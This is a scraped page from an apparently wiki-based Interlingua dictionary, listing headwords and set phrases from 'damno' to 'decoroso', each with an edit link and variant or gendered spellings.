immaterialModificar damno_immaterial \/ damnos_immateriales damno(s) incalculabileModificar damno_incalculabile \/ damnos_incalculabiles damno(s) insignificanteModificar damno_insignificante \/ damnos_insignificantes damno(s) irreparabileModificar damno_irreparabile \/ damnos_irreparabiles damno(s) locativeModificar damno_locativo \/ damnos_locativos damno(s) materialModificar damno_material \/ damnos_materiales damno(s) seismicModificar damno_seismic \/ damnos_seismicos damnoseModificar damnoso(s) \/ damnosa(s) damnositateModificar DamoclesModificar danModificar dan [le danaideModificar danaide [la dancing [A]Modificar dandy {A]Modificar dandysmoModificar daneseModificar danese(s) \/ danesa(s) DanielModificar DanmarkModificar dansaModificar dansa a \/ de \/ in tres temporesModificar dansa bellicModificar dansa bellica dansa choralModificar dansa classicModificar dansa classica dansa de characterModificar dansa de cosacosModificar dansa de guerraModificar dansa de incantationModificar dansa de indianosModificar dansa de negrosModificar dansa de Sancte VitoModificar dansa de Sancto Vito dansa del apeModificar dansa de la ape dansa del morteModificar dansa de la morte dansa del ventreModificar dansa espaniolModificar dansa espaniola dansa folkloricModificar dansa folklorica dansa folkloristicModificar dansa folkloristica dansa guerrierModificar dansa guerriera dansa incantatorModificar dansa incantatrice dansa macabreModificar dansa macabra dansa maurescModificar dansa mauresca dansa poloneseModificar dansa polonesa dansa popularModificar dansa pyrrhicModificar dansa pyrrhica dansa rhythmicModificar dansa rhythmica dansa satyricModificar dansa satyrica dansa tsiganModificar dansa tsigana dansarModificar dansar le carmagnoleModificar dansar la carmagnole dansar le quadrillaModificar dansar la quadrilla dansar le rockModificar dansar le sarabandaModificar dansar la sarabanda dansar le tangoModificar dansatorModificar dansator de cordaModificar dansator de revistasModificar dansator professionalModificar dansatrice del ventreModificar Dante ha idelisate le figura de BeatriceModificar Dante ha idelizato \/ idealizata la figura de Beatrice dantescModificar dantesco(s) \/ dantesca(s) danthoniaModificar danthonia elephantinModificar danthonia elephantina dantologiaModificar dantologoModificar danubianModificar danubiano(s) \/ danubiana(s) DanubioModificar Danubio InferiorModificar daphneModificar daphne [la daphniaModificar darModificar dar a intenderModificar dar a un cosa un bon terminationModificar dar a una cosa una bona termination dar acceptationModificar dar accesso aModificar dar adhesion aModificar dar adjutaModificar dar adjuta a un personaModificar dar adjuta a una persona dar alas aModificar dar alimentoModificar dar allogiamento aModificar dar allogio a un personaModificar dar allogio a una persona dar anima aModificar dar appetito aModificar dar audientia a un personaModificar dar audientia a una persona dar avantage a un personaModificar dar avantage a una persona dar avena al cavallosModificar dar avena a los cavallos dar aviso de absentiaModificar dar battaliaModificar dar calorModificar dar carta blanc a un personaModificar dar carta blanca a un persona dar chacoModificar dar chaco e matModificar dar chaco e \/ et mat dar colpos de flagello a un cavalloModificar dar colpos de sablaModificar dar como presenteModificar dar confirmation a un cosaModificar dar confirmation a una cosa dar conto deModificar dar corageModificar dar corage aModificar dar corpore aModificar dar derecto a un cosaModificar dar derecto a una cosa dar discarga a un personaModificar dar discarga a una persona dar duo tornos de claveModificar dar duos tornos de clave dar empleo a un personaModificar dar empleo a una persona dar execution aModificar dar expression aModificar dar feedbackModificar dar fideModificar dar fiducia a un personaModificar dar fiducia a una persona dar fructosModificar dar gasModificar dar hospitalitateModificar dar importantia a un cosaModificar dar importantia a una cosa dar in arrentamentoModificar dar in consignationModificar dar in feudo aModificar dar in locationModificar dar in prestationModificar dar in prestoModificar dar informationesModificar dar ingresso aModificar dar interesseModificar dar invidia a un personaModificar dar invidia a una persona dar labor aModificar dar laude a DeoModificar dar le absolution a un peccatorModificar dar la absolution a un peccator dar le accollada a un personaModificar dar la accollada a una persona dar le alarmaModificar dar le benediction nuptialModificar dar la benediction nuptial dar le benvenita aModificar dar la benvenita a dar le benvenita a un persona con un toastModificar dar la benvenita a una persona con un toast dar le biberon a un baby \/ bebeModificar dar le biberon a un infanteModificar dar le bon exemploModificar dar le cadentiaModificar dar la cadentia dar le cartasModificar dar las cartas dar le characteristica de un cosaModificar dar la characteristica de una cosa dar le colpo de initioModificar dar le colpo mortalModificar dar le culpa a un personaModificar dar la culpa a una persona dar le deberesModificar dar los deberes dar le description de un cosaModificar dar la description de una cosa dar le description de un personaModificar dar la description de una persona dar le doctoratoModificar dar le equivalente de lo que on recipeModificar dar le esser aModificar dar le justification de su conductaModificar dar la justification de su conducta dar le luce verdeModificar dar la luce verde dar le lumine verdeModificar dar la lumine verde dar le mano a un personaModificar dar la mano a una persona dar le parola aModificar dar la parola a dar le pataModificar dar la pata dar le preferentia aModificar dar la preferentia a dar le sino a un infanteModificar dar le tettaModificar dar la tetta dar le titulo deModificar dar le tonoModificar dar le ultime mano aModificar dar la ultima mano a dar le ultime suspiroModificar dar le ultimo suspiro dar le ultime tocca a un cosaModificar dar la ultima tocca a una cosa dar le vita aModificar dar la vita a dar le voto contrariModificar dar le voto contrario dar lectiones de InterlinguaModificar dar libere curso aModificar dar loco aModificar dar lustro aModificar dar motivo aModificar dar motivos de satisfactionModificar dar occasion aModificar dar opiniones offensiveModificar dar opiniones offensivas dar ordineModificar dar pena a un personaModificar dar pena a una persona dar permissoModificar dar plen poter a un personaModificar dar pleno poter a una persona dar plen poteres a un personaModificar dar plenos poteres a una persona dar precedentiaModificar dar precedentia al politica de empleoModificar dar precedentia a la politica de empleo dar prestigio aModificar dar prioritate a un cosaModificar dar prioritate a una cosa dar prioritate al politica de empleoModificar dar prioritate a la politica de empleo dar probas \/ provasModificar dar procurationModificar dar publicitate aModificar dar ration a un personaModificar dar ration a una persona dar relievo a un cosaModificar dar relievo a una cosa dar representationes in un theatroModificar dar retroModificar dar satisfactionModificar dar scandaloModificar dar se aere de importantiaModificar dar se aeresModificar dar se anima e corpore a un cosaModificar dar se anima e \/ et corpore a una cosa dar se penaModificar dar se un apparentiaModificar dar se una apparentia dar se un colpo de pectineModificar dar se un duchaModificar dar se una ducha dar se un martellata super le digitoModificar dar se una martellata super le digito dar signos de impatientiaModificar dar sperantia a un personaModificar dar sperantia a una persona dar spero a un personaModificar dar spero a una persona dar stertoresModificar dar su acceptationModificar dar su approbation aModificar dar su assentimento a un maritageModificar dar su assentimento a un matrimonioModificar dar su concursoModificar dar su confidentia a un personaModificar dar su confidentia a una persona dar su consentimentoModificar dar su dimissionModificar dar su dimission a causa de su sanitateModificar dar su dimission pro rationes de sanitateModificar dar su opinionModificar dar su sanguine pro le patriaModificar dar su sanguine pro la patria dar su voto a un candidatoModificar dar succursoModificar dar supporto moral a un personaModificar dar supporto moral a una persona dar topspin a un ballaModificar dar topspin a una balla dar travalio aModificar dar un altere facie a un organisationModificar dar una altera facie a una organization dar un altere imagine a un organisationModificar dar una altera imagine a una organization dar un antegusto deModificar dar un avantia a un personaModificar dar una avantia a una persona dar un balloModificar dar un banchettoModificar dar un basio de adeo \/ adieu a un personaModificar dar un basio de adeo \/ adieu a una persona dar un basio forte a un personaModificar dar un basio forte a una persona dar un benvenita calorose a un personaModificar dar una benvenita calorosa a una persona dar un benvenita triumphal a un personaModificar dar una benvenita triumphal a una persona dar un bon mesuraModificar dar una bona mesura dar un castigation a un personaModificar dar una castigation a una persona dar un claffoModificar dar un colpo a un personaModificar dar un colpo a una persona dar un colpo de brossaModificar dar un colpo de frenoModificar dar un colpo de klaxonModificar dar un colpo de pede in le culo de un personaModificar dar un colpo de pede in le culo de una persona dar un colpo de spongiaModificar dar un commissionModificar dar una commission dar un concertoModificar dar un conferentia superModificar dar una conferentia super dar un contraventionModificar dar una contravention dar un critoModificar dar un cultellataModificar dar una cultellata dar un cursoModificar dar un discontoModificar dar un dividendoModificar dar un excusa pro un invitationModificar dar una excusa pro una invitation dar un exemploModificar dar un festaModificar dar una festa dar un idea a un personaModificar dar una idea a una persona dar un impulsion aModificar dar una impulsion a dar un interpretation multo personal a un cosaModificar dar una interpretation multo personal a una cosa dar un interpretation restrictive de un legeModificar dar una interpretation restrictiva de una lege dar un juste collocation a un statuaModificar dar una justa collocation a una statua dar un mano a un personaModificar dar una mano a una persona dar un mulctaModificar dar una mulcta dar un placia prominente a un cosaModificar dar una placia prominente a una cosa dar un position prominente a un cosaModificar dar una position prominente a una cosa dar un presto a basse interesse a un personaModificar dar un presto a basso interesse a una persona dar un quitantiaModificar dar una quitantia dar un rebattoModificar dar un recitalModificar dar un reductionModificar dar una reduction dar un reprimendaModificar dar una reprimenda dar un responsa acuteModificar dar una responsa acuta dar un responsa evasiveModificar dar una responsa evasiva dar un responsa insufficienteModificar dar una responsa insufficiente dar un responsa sincerModificar dar una responsa sincera dar un serenada a un personaModificar dar una serenada a una persona dar un torno de viteModificar dar un tractamento preferentialModificar dar un translation libereModificar dar una translation libere \/ libera dar un translation litteralModificar dar una translation litteral dar un version inexacte de un eventoModificar dar una version inexacta de un evento dar validitate aModificar dar vita aModificar dar vita a dardaneModificar dardano(s) \/ dardana(s) DardanellosModificar DardaniaModificar DardanoModificar dardanoModificar dardoModificar daricoModificar darsenaModificar darwinianModificar darwiniano(s) \/ darwiniana(s) darwinismoModificar darwinistaModificar dasymetroModificar dasyuroModificar dataModificar data certeModificar data certa data de cancellationModificar data de clausuraModificar data de conservationModificar data de couponModificar data de expirationModificar data de facturaModificar data de fornituraModificar data de fundationModificar data de livrationModificar data de nascentiaModificar data de paschaModificar data de peremptionModificar data de publicationModificar data de receptionModificar data de venditaModificar data differibileModificar data fixeModificar data fixa data indeterminateModificar data indeterminata data limitarModificar data limiteModificar data limite de venditaModificar data paschalModificar data prestabiliteModificar data prestabilita data previsteModificar data prevista data ultimeModificar data ultima databileModificar databile(s) databilitateModificar databilitate de un sito prehistoricModificar databilitate de un sito prehistorico datarModificar datar su litterasModificar datar sus litteras datar un strato geologicModificar datar un strato geologico datariaModificar dataria [la datarioModificar datationModificar datation de un sito prehistoricModificar datation de un sito prehistorico datation improbabileModificar datation per le methodo del carbon-14Modificar date le hora multo avantiateModificar data la hora multo avantiata date queModificar dato que dationModificar dation in locationModificar dativeModificar dativo(s) \/ dativa(s) dativoModificar datoModificar dato de baseModificar dato de experientiaModificar dato fundamentalModificar dato verificabileModificar datorModificar dator de avalModificar dator de cautionModificar dator de laborModificar dator de sanguineModificar dator de spermaModificar dator de travalioModificar datos anthropometricModificar datos anthropometricos datos attestabileModificar datos attestabiles datos bibliographicModificar datos bibliographicos datos biographicModificar datos biographicos datos concreteModificar datos concretos datos de fabricationModificar datos de pokerModificar datos demoscopicModificar datos demoscopicos datos econometricModificar datos econometricos datos factualModificar datos factuales datos personalModificar datos personales datos plus concreteModificar datos plus concretos datos qualitativeModificar datos qualitativos datos statisticModificar datos statisticos dattilieroModificar dattiloModificar dattilo de marModificar dattilo marinModificar dattilo marino daturaModificar daucoModificar DavidModificar davidiaModificar davidia involucrateModificar davidia involucrata davidicModificar davidico(s) \/ davidica(s) deModificar de prep de accesso facileModificar de accordoModificar de aere conditionateModificar de aere conditionato de alte fidelitateModificar de alta fidelitate de alte moralitateModificar de alta moralitate de alte rangoModificar de alto rango de alte velocitateModificar de alta velocitate de alto a bassoModificar de ambe sexosModificar de ambos sexos de anno in annoModificar de Asia MinorModificar de audir dicerModificar de auditasModificar de avante a detraModificar de balenaModificar de basse categoriaModificar de bassa categoria de basse frequentiaModificar de bassa frequentia de basse tensionModificar de bassa tension de bon cordeModificar de bon gradoModificar de bon gustoModificar de bon horaModificar de bona hora de bon o de mal gradoModificar de bon aut de mal grado de bon voluntateModificar de bona voluntate de breve durataModificar de breve durationModificar de calceModificar de camelotModificar de character concilianteModificar de character passagerModificar de character passagero de ciModificar de ci un horaModificar de ci una hora de color constanteModificar de color de bronzoModificar de color de cannellaModificar de color de cinereModificar de color de cremaModificar de color de cuproModificar de color de hepateModificar de color de marmoreModificar de color de paleaModificar de color de piceModificar de color de sanguineModificar de color de tannoModificar de color indelibileModificar de color resistenteModificar de commun accordoModificar de concertoModificar de confession calvinistaModificar de confession lutheranModificar de confession lutherana de construction legierModificar de construction legiera de consumo domesticModificar de consumo domestico de consumption domesticModificar de consumption domestica de corio grasseModificar de corio grasso de cortice grosseModificar de cortice grosso de costumeModificar de cujus [L]Modificar de curte durataModificar de curta durata de curte durationModificar de curta duration de un theseModificar de una these de denominator communModificar de derecto privateModificar de derecto privato de die in dieModificar de dimensiones reduciteModificar de dimensiones reducitas de effecto immediateModificar de effecto immediato de etate avantiateModificar de etate avantiata de etate medianModificar de etate mediana de etate medieModificar de etate media de etate scholarModificar de fabrication nederlandeseModificar de fabrication nederlandesa de factoModificar de facto ille es le culpabileModificar de facto ille est le culpabile de fama mundialModificar de fama universalModificar de fama universeModificar de fama universa de familia humileModificar de felice recordationModificar de forma de bottiliaModificar de gambas grosseModificar de gambas grossas de genere communModificar de grano grosseModificar de grano grosso de hic a un horaModificar de hic a una hora de ille temporeModificar de ille \/ illo tempore de illo resulta queModificar de importantia marginalModificar de importantia secundariModificar de importantia secundaria de importantia strategicModificar de importantia strategica de importantia vitalModificar de infinite bontateModificar de infinita bontate de interesse localModificar de interesse secundariModificar de interesse secundario de interesse subalterneModificar de interesse subalterno de iste summa io deduce dece florinosModificar de ista summa io deduce dece florinos de jure [L]Modificar de jure e de facto Modificar de jure e \/ et de facto de labios grosseModificar de labios grossos del consumo domesticModificar del consumo domestico del consumption domesticModificar de la consumption domestica del usage domesticModificar del usage domestico del uso domesticModificar del uso domestico de ligno de acereModificar de ligno de cypressoModificar de ligno de eucalyptoModificar de ligno de fraxinoModificar de ligno de lariceModificar de ligno de larixModificar de ligno de sambucoModificar de LondonModificar de longeModificar de longe durataModificar de longa durata de longe halitoModificar de longo halito de lontanoModificar de mal augurioModificar de mal famaModificar de mala fama de mal gradoModificar de mal gustoModificar de mal in pejoModificar de mal in pejo de mal in pejorModificar de mal voluntateModificar de mala voluntate de malias finModificar de malias finas de malias stricteModificar de malias strictas de maniera adequateModificar de maniera adequata de maniera appropriateModificar de maniera appropriata de maniera queModificar de marca superiorModificar de medie etateModificar de media etate de medie temporeModificar de medio tempore de melior qualitateModificar de memoria de homineModificar de mesme denominatorModificar de mesmo denominator de mille sortasModificar de minor qualitateModificar de mi \/ tu \/ su \/ etc proprie impulsoModificar de mi \/ tu \/ su \/ etc proprio impulso de modo aberranteModificar de nascentia humileModificar de nascentia illustreModificar de naturaModificar de nocteModificar de noveModificar de novoModificar de nulle manieraModificar de nulla maniera de officioModificar de omne latereModificar de origine franceseModificar de origine francesa de origine humileModificar de origine incerteModificar de origine incerta de origine modesteModificar de origine modesta de parte a parteModificar de pavor queModificar de persona a personaModificar de pilo lisieModificar de pilo lisio de plusModificar de plus in plusModificar de postguerraModificar de preferentiaModificar de preguerraModificar de presso e de lontan \/ lontanoModificar de primari importantiaModificar de primaria importantia de prime importantiaModificar de prima importantia de prime manoModificar de prima mano de prime ordineModificar de prima ordine de profundis [I]Modificar de proportiones reduciteModificar de proportiones reducitas de proprie culturaModificar de propria cultura de proprie initiativaModificar de propria initiativa de qualcunque manieraModificar de qualitate dubitoseModificar de qualitate dubitosa de qualitate inferiorModificar de qualitate superiorModificar de quiModificar de qui proveni iste plano?Modificar de racia purModificar de racia pura de recente constructionModificar de repercussion mundialModificar de sanguine calde \/ calideModificar de sanguine caldo \/ calido de sanguine frigideModificar de sanguine frigido de sanguine mixteModificar de sanguine mixto de secunde manoModificar de secunda mano de secunde ordineModificar de secunda ordine de significantia globalModificar de significantia mundialModificar de sorta queModificar de stirpe divinModificar de stirpe divina de summe importantiaModificar de summa importantia de talia naturalModificar de tempore a temporeModificar de tendentia politic de sinistraModificar de tendentia politica de sinistra de tendentia socialistaModificar de theatroModificar de timor queModificar de tote (le) cordeModificar de toto (le) corde de tote genereModificar de toto genere de tote lateresModificar de totos lateres de tote le partesModificar de totas las partes de transversoModificar de tres linguasModificar de tres sortasModificar de trunco alteModificar de trunco alto de ubiModificar de ultramarModificar de un altere sortaModificar de una altera sorta de un blancor de lilioModificar de un certe etateModificar de una certa etate de un colpoModificar de un grande probabilitateModificar de una grande probabilitate de un latere a altereModificar de un latere a altero de un maniera o de un altereModificar de una maniera aut de una altera de un modo o de un altereModificar de un modo aut de un altero de un puncto de vista juridicModificar de un puncto de vista juridico de un suffloModificar de un tractoModificar de usage domesticModificar de usage domestico de uso domesticModificar de uso domestico de uso topicModificar de uso topico de validitate permanenteModificar de valor stabileModificar de vaste proportionesModificar de vastas proportiones de vista acuteModificar de vista acuta deaModificar dea del amorModificar dea del lunaModificar dea de la luna dea del marModificar dea del \/ de_la mar dea marinModificar dea marina dead heat [A]Modificar deambularModificar deambulationModificar deambulatoriModificar deambulatorio(s) \/ deambulatoria(s) deambulatorioModificar debatterModificar debatter se contraModificar debattibileModificar debattibile(s) debattoModificar debatto electoralModificar debatto marathonModificar debatto parlamentariModificar debatto parlamentario debatto televisateModificar debatto televisato debatto televisiveModificar debatto televisivo debattos tempestuoseModificar debattos tempestuosos deberModificar deber cavallerescModificar deber cavalleresco deber civicModificar deber civico deber conjugalModificar deber de cavalleroModificar deber de christianoModificar deber de honorModificar deber de scholaModificar deber de vassallageModificar deber electoralModificar deber filialModificar deber fraternalModificar deber grateModificar deber grato deber humanModificar deber humano deber indeclinabileModificar deber indurar le fame e le seteModificar deber indurar la fame e \/ et la sete deber le vita aModificar deber la vita a deber maternalModificar deber materneModificar deber materno deber militarModificar deber parentalModificar deber parental deber paternalModificar deber paterneModificar deber paterno deber privar se de un cosaModificar deber privar se de una cosa deber professionalModificar deber religioseModificar deber religioso deber statalModificar deber suffrer le fame e le seteModificar deber suffrer la fame e \/ et la sete deberes socialModificar deberes sociales debileModificar debile(s) debile de auditoModificar debile(s) de audito debile de menteModificar debile(s) de mente debilitarModificar debilitar le position de un personaModificar debilitar la position de una persona debilitateModificar debilitate corporalModificar debilitate corporeeModificar debilitate corporea debilitate de characterModificar debilitate de spiritoModificar debilitate mentalModificar debilitate muscularModificar debilitate physicModificar debilitate physica debilitate senilModificar debilitationModificar debilitation del democratiaModificar debilitation de la democratia debitaModificar debita activeModificar debita activa debita bancariModificar debita bancaria debita commercialModificar debita compensabileModificar debita consolidateModificar debita consolidata debita contabilisateModificar debita contabilizata debita de bodemeriaModificar debita de guerraModificar debita de honorModificar debita de jocoModificar debita exigibileModificar debita fiscalModificar debita flottanteModificar debita fluctuanteModificar debita hereditariModificar debita hereditaria debita hypothecariModificar debita hypothecaria debita in obligationesModificar debita inexigibileModificar debita nationalModificar debita passiveModificar debita passiva debita prescripteModificar debita prescripta debita publicModificar debita publica debita recovrabileModificar debita sin interesseModificar debitarModificar debitas irrecovrabileModificar debitas irrecovrabiles debitas irrecuperabileModificar debitas irrecuperabiles debitas recovrabileModificar debitas recovrabiles debiteModificar debito(s) \/ debita(s) debitementeModificar debitamente debitoModificar debito e creditoModificar debito e \/ et credito debitorModificar debitor insolventeModificar debitores solidariModificar debitores solidarios debitoriModificar debitorio(s) \/ debitoria(s) début [F]Modificar débutant [F]Modificar débutante [F]Modificar debutarModificar debutar como scriptorModificar decadactyleModificar decadactylo(s) \/ decadactyla(s) decadeModificar decade [la decadenteModificar decadente(s) decadentiaModificar decadentia del occidenteModificar decadentia intellectualModificar decadentia moralModificar decadentismoModificar decadentisticModificar decadentistico(s) \/ decadentistica(s) decaderModificar decaffeinarModificar decaffeinateModificar decaffeinato(s) \/ decaffeinata(s) decaffeinationModificar decagonalModificar decagonal(es) decagoneModificar decagono(s) \/ decagona(s) decagonoModificar decagono irregularModificar decagono regularModificar decagrammaModificar decahedricModificar decahedrico(s) \/ decahedrica(s) decahedroModificar decalcarModificar decalcificarModificar decalcificationModificar decalcification del ossoModificar decalcification ossoseModificar decalcification ossosa decalcomaniaModificar decalinaModificar decalitroModificar decalogoModificar decalumenModificar decalumen [le decametricModificar decametrico(s) \/ decametrica(s) decametroModificar decanalModificar decanal(es) decanatoModificar decanoModificar decantarModificar decantar vinoModificar decantationModificar decapetaleModificar decapetalo(s) \/ decapetala(s) decapistrarModificar decapitarModificar decapitar con le guillotinaModificar decapitar con la guillotina decapitar un criminalModificar decapitar un saliceModificar decapitationModificar decapodeModificar decapodo(s) \/ decapoda(s) decapodosModificar decarboxylaseModificar decarboxylase decarboxylationModificar decartellisarModificar decartellizar decartellisationModificar decartellization decastereoModificar decasyllabeModificar decasyllabo(s) \/ decasyllaba(s) decasyllabicModificar decasyllabico(s) \/ decasyllabica(s) decasyllaboModificar decathletaModificar decathlonModificar deceModificar dece adj num Dece CommandamentosModificar dece de quadroModificar dece de trifolioModificar dece florinos includite le pourboireModificar dece florinos includito le pourboire dece per centoModificar dece percentos de servicioModificar dece-cinqueModificar decederModificar deceder ab intestatoModificar decedite al etate de 98 annosModificar decedito \/ decedita al etate de 98 annos deceditoModificar dece-duoModificar dece-duos \/ dece-duas decelerarModificar decelerar le passoModificar decelerar lentementeModificar decelerar lentamente decelerar seModificar decelerationModificar deceleratorModificar decelerometroModificar decelerometro decembreModificar decemdentateModificar decemdentato(s) \/ decemdentata(s) decemfideModificar decemfido(s) \/ decemfida(s) decemviralModificar decemviral(es) decemviratoModificar decemviroModificar decenaModificar decennalModificar decennal(es) decennioModificar dece-noneModificar dece-nono(s) \/ dece-nona(s) dece-nonoModificar dece-novemModificar dece-novesimeModificar dece-novesimo(s) \/ dece-novesima(s) decenteModificar decente(s) decentiaModificar decentralisarModificar decentralizar decentralisationModificar decentralization decentralisation industrialModificar decentralization industrial decentralisatorModificar decentralizator decentramentoModificar decentrarModificar decentrationModificar dece-octesimeModificar dece-octesimo(s) \/ dece-octesima(s) dece-octoModificar dece-primeModificar dece-primo(s) \/ dece-prima(s) deceptionModificar deceptiveModificar deceptivo(s) \/ deceptiva(s) deceptorModificar dece-quarteModificar dece-quarto(s) \/ dece-quarta(s) dece-quatroModificar dece-quinteModificar dece-quinto(s) \/ dece-quinta(s) decernerModificar dece-secundeModificar dece-secundo(s) \/ dece-secunda(s) dece-septeModificar dece-septesimeModificar dece-septesimo(s) \/ dece-septesima(s) dece-septimeModificar dece-septimo(s) \/ dece-septima(s) deceseptimoModificar dece-sexModificar dece-sexteModificar dece-sexto(s) \/ dece-sexta(s) decessoModificar dece-tertieModificar dece-tertio(s) \/ dece-tertia(s) dece-tresModificar dece-unModificar dece-un \/ dece-una deciarModificar deciar [le decibelModificar decibel [le deciderModificar decider del destino de un personaModificar decider del destino de una persona decidibileModificar decidibile(s) decidibilitateModificar deciditeModificar decidito(s) \/ decidita(s) deciditorModificar deciduaModificar decidua [la decidualModificar decidual(es) decifrabileModificar decifrabile(s) deciframentoModificar deciframento de un manuscriptoModificar deciframento de un scriptura pictographicModificar deciframento de una scriptura pictographica decifrarModificar decifrar un codiceModificar decifrar un enigmaModificar decifrar un message in codiceModificar decifrar un scriptoModificar decifrationModificar decifratorModificar decigradoModificar decigrammaModificar decileModificar decile [le decilitro dlModificar decimaModificar decimalModificar decimal(es) decimalisarModificar decimalizar decimalisar un systema de mesurasModificar decimalizar un systema de mesuras decimalisationModificar decimalization decimalisation del pesos e mesuras britannicModificar decimalization de los pesos e \/ et mesuras britannicos decimarModificar decimationModificar decimatorModificar decimeModificar decimo(s) \/ decima(s) decimetricModificar decimetrico(s) \/ decimetrica(s) decimetro cubic dm³Modificar decimetro cubico decimetro quadrate dm²Modificar decimetro quadrato decimetro dmModificar decimoModificar decimoctaveModificar decimoctavo(s) \/ decimoctava(s) decimononeModificar decimonono(s) \/ decimonona(s) decimoprimeModificar decimoprimo(s) \/ decimoprima(s) decimoquarteModificar decimoquarto(s) \/ decimoquarta(s) decimoquinteModificar decimoquinto(s) \/ decimoquinta(s) decimosecundeModificar decimosecundo(s) \/ decimosecunda(s) decimoseptimeModificar decimoseptimo(s) \/ decimoseptima(s) decimosexteModificar decimosexto(s) \/ decimosexta(s) decimotertieModificar decimotertio(s) \/ decimotertia(s) deciperModificar deciper vb deciseModificar deciso(s) \/ decisa(s) decisionModificar decision administrativeModificar decision administrativa decision arbitrariModificar decision arbitraria decision criticabileModificar decision crucialModificar decision de appunctamentoModificar decision de nominationModificar decision de principioModificar decision definitiveModificar decision definitiva decision del consilio del ministrosModificar decision del consilio de los ministros decision del majoritateModificar decision de la majoritate decision del partitoModificar decision ducalModificar decision finalModificar decision firmeModificar decision governamentalModificar decision hastiveModificar decision hastiva decision immutabileModificar decision impulsiveModificar decision impulsiva decision irreflexiveModificar decision irreflexiva decision irrevocabileModificar decision judicialModificar decision majoritariModificar decision majoritaria decision ministerialModificar decision nefasteModificar decision nefasta decision pragmaticModificar decision pragmatica decision precipitateModificar decision precipitata decision prematurateModificar decision prematurata decision rapideModificar decision rapida decision resoluteModificar decision resoluta decision restitutoriModificar decision restitutori decision revocatoriModificar decision revocatoria decision synodalModificar decision synodicModificar decision synodica decision unilateralModificar decisionalModificar decisional(es) decisiones conciliarModificar decisiones conciliares decisiones curialModificar decisiones curiales decisiones de un assembleaModificar decisiones de una assemblea decisiones momentoseModificar decisiones momentosas decisiveModificar decisivo(s) \/ decisiva(s) decisoriModificar decisorio(s) \/ decisoria(s) decistereoModificar deck [A]Modificar declamarModificar declamar contraModificar declamar versosModificar declamationModificar declamation de un fragmento de prosaModificar declamation de un poesiaModificar declamation de una poesia declamatorModificar declamatoriModificar declamatorio(s) \/ declamatoria(s) declararModificar declarar al doanaModificar declarar a la doana declarar applicabileModificar declarar applicabile(s) declarar como testeModificar declarar innocente un personaModificar declarar innocente una persona declarar inutilisabile le campoModificar declarar inutilizabile le campo declarar irrecipibile un recursoModificar declarar juramentoModificar declarar le cessa-le-focoModificar declarar le costosModificar declarar los costos declarar le expensas de viageModificar declarar las expensas de viage declarar le guerraModificar declarar la guerra declarar nulleModificar declarar nullo(s) \/ nulla(s) declarar seModificar declarar se in exopero indefiniteModificar declarar se in exopero indefinito declarar su amorModificar declarar su salario al fiscoModificar declarar tabuModificar declarar un guerraModificar declarar una guerra declarar un nascentiaModificar declarar una nascentia declarar unanimementeModificar declarateModificar declarato(s) \/ declarata(s) declarationModificar declaration contrariModificar declaration contraria declaration de amorModificar declaration de bancaruptaModificar declaration de costosModificar declaration de devisasModificar declaration de doanaModificar declaration de governamentoModificar declaration de guerraModificar declaration de imposto(s)Modificar declaration de independentiaModificar declaration de inhabitabilitateModificar declaration de insolventiaModificar declaration de intention(es)Modificar declaration de loyalitateModificar declaration de nascentiaModificar declaration de neutralitateModificar declaration de non-judaicitateModificar declaration de principio(s)Modificar declaration de \/ del testesModificar declaration de \/ de_los \/ de_las testes declaration de un decessoModificar declaration de urgentiaModificar declaration doanalModificar declaration doanerModificar declaration doanera declaration dogmatic del synodoModificar declaration dogmatica del synodo declaration fiscalModificar declaration governamentalModificar declaration in avantiaModificar declaration interpretativeModificar declaration interpretativa declaration jurateModificar declaration jurata declaration liminarModificar declaration menacianteModificar declaration oralModificar declaration pauco \/ poco diplomaticModificar declaration pauco \/ poco diplomatica declaration preliminarModificar declaration previeModificar declaration previa declaration scripteModificar declaration scripta declaration sin equivocoModificar declaration solemneModificar declaration supplementariModificar declaration supplementaria Declaration Universal del Derectos del HomineModificar Declaration Universal de los Derectos del Homine declarationes analogeModificar declarationes analogas declarativeModificar declarativo(s) \/ declarativa(s) declaratoriModificar declaratório(s) \/ declaratória(s) declassamentoModificar declassamento socialModificar declassarModificar declinabileModificar declinabile(s) declinarModificar declinar le competentia de un tribunalModificar declinar la competentia de un tribunal declinar le honorModificar declinar le jurisdictionModificar declinar la jurisdiction declinar omne responsabilitateModificar declinar tote responsabilitateModificar declinar tota responsabilitate declinar un candidaturaModificar declinar una candidatura declinar un invitationModificar declinar una invitation declinationModificar declination de un astroModificar declination magneticModificar declination magnetica declinatorModificar declinatoriModificar declinatorio(s) \/ declinatoria(s) declinoModificar declino de un civilisationModificar declino de una civilization declino del commercioModificar declino del medievoModificar declino del Seculo de AuroModificar declino del vitaModificar declino de la vita declinometroModificar decliveModificar declivo(s) \/ decliva(s) declivitateModificar declivitate de 12 percentosModificar declivitate de un terrenoModificar declivitate del dunasModificar declivitate de las dunas decocerModificar decoctionModificar decoction de herbas medicinalModificar decoction de herbas medicinales decodabileModificar decodabile(s) decodageModificar decodarModificar decodatorModificar decodificarModificar decodificationModificar decodification de un messageModificar decodificatorModificar decollarModificar decollationModificar décolleté [F]Modificar décolleté in le dorsoModificar decolonisarModificar decolonizar decolonisationModificar decolonization decolonisation del paises del tertie mundoModificar decolonization de los paises del tertio mundo decoloranteModificar decolorante [le decolorarModificar decolorationModificar decompensarModificar decompensationModificar decompensation cardiacModificar decompensation cardiaca decomponerModificar decomponer aqua per electrolyseModificar decomponer le luceModificar decomponer la luce decomponer un fortiaModificar decomponer una fortia decomponer un numero in factoresModificar decomponer un phraseModificar decomponer una phrase decomponer un toto in su elementosModificar decomponer un toto in sus elementos decomponibileModificar decomponibile(s) decomponibilitateModificar decomponibilitate de un substantiaModificar decomponibilitate de una substantia decompositionModificar decomposition aerobic \/ aerobieModificar decomposition aerobica \/ aerobia decomposition anaerobieModificar decomposition anaerobia decomposition chimicModificar decomposition chimica decomposition de un numero in factoresModificar decomposition de un rationamentoModificar decomposition de un societateModificar decomposition de una societate decomposition del luce per un prismaModificar decomposition de la luce per un prisma decomposition del lumine per un prismaModificar decomposition de la lumine per un prisma decomposition gangrenoseModificar decomposition gangrenosa decomposition lenteModificar decomposition lenta decompressionModificar decomprimerModificar decomprimer aereModificar deconditionamentoModificar deconditionarModificar decongelamentoModificar decongelarModificar decongelationModificar decongestionamentoModificar decongestionarModificar deconstructivismoModificar decorarModificar decorar le arbore de NatalModificar decorar le \/ la arbore de Natal decorar un altarModificar decorar un salaModificar decorar una sala decorationModificar decoration muralModificar decoration parietalModificar decorationes de NatalModificar decorativeModificar decorativo(s) \/ decorativa(s) decoratoModificar decoratorModificar decorator de interioresModificar decorator de theatroModificar decoroseModificar decoroso(s) \/ 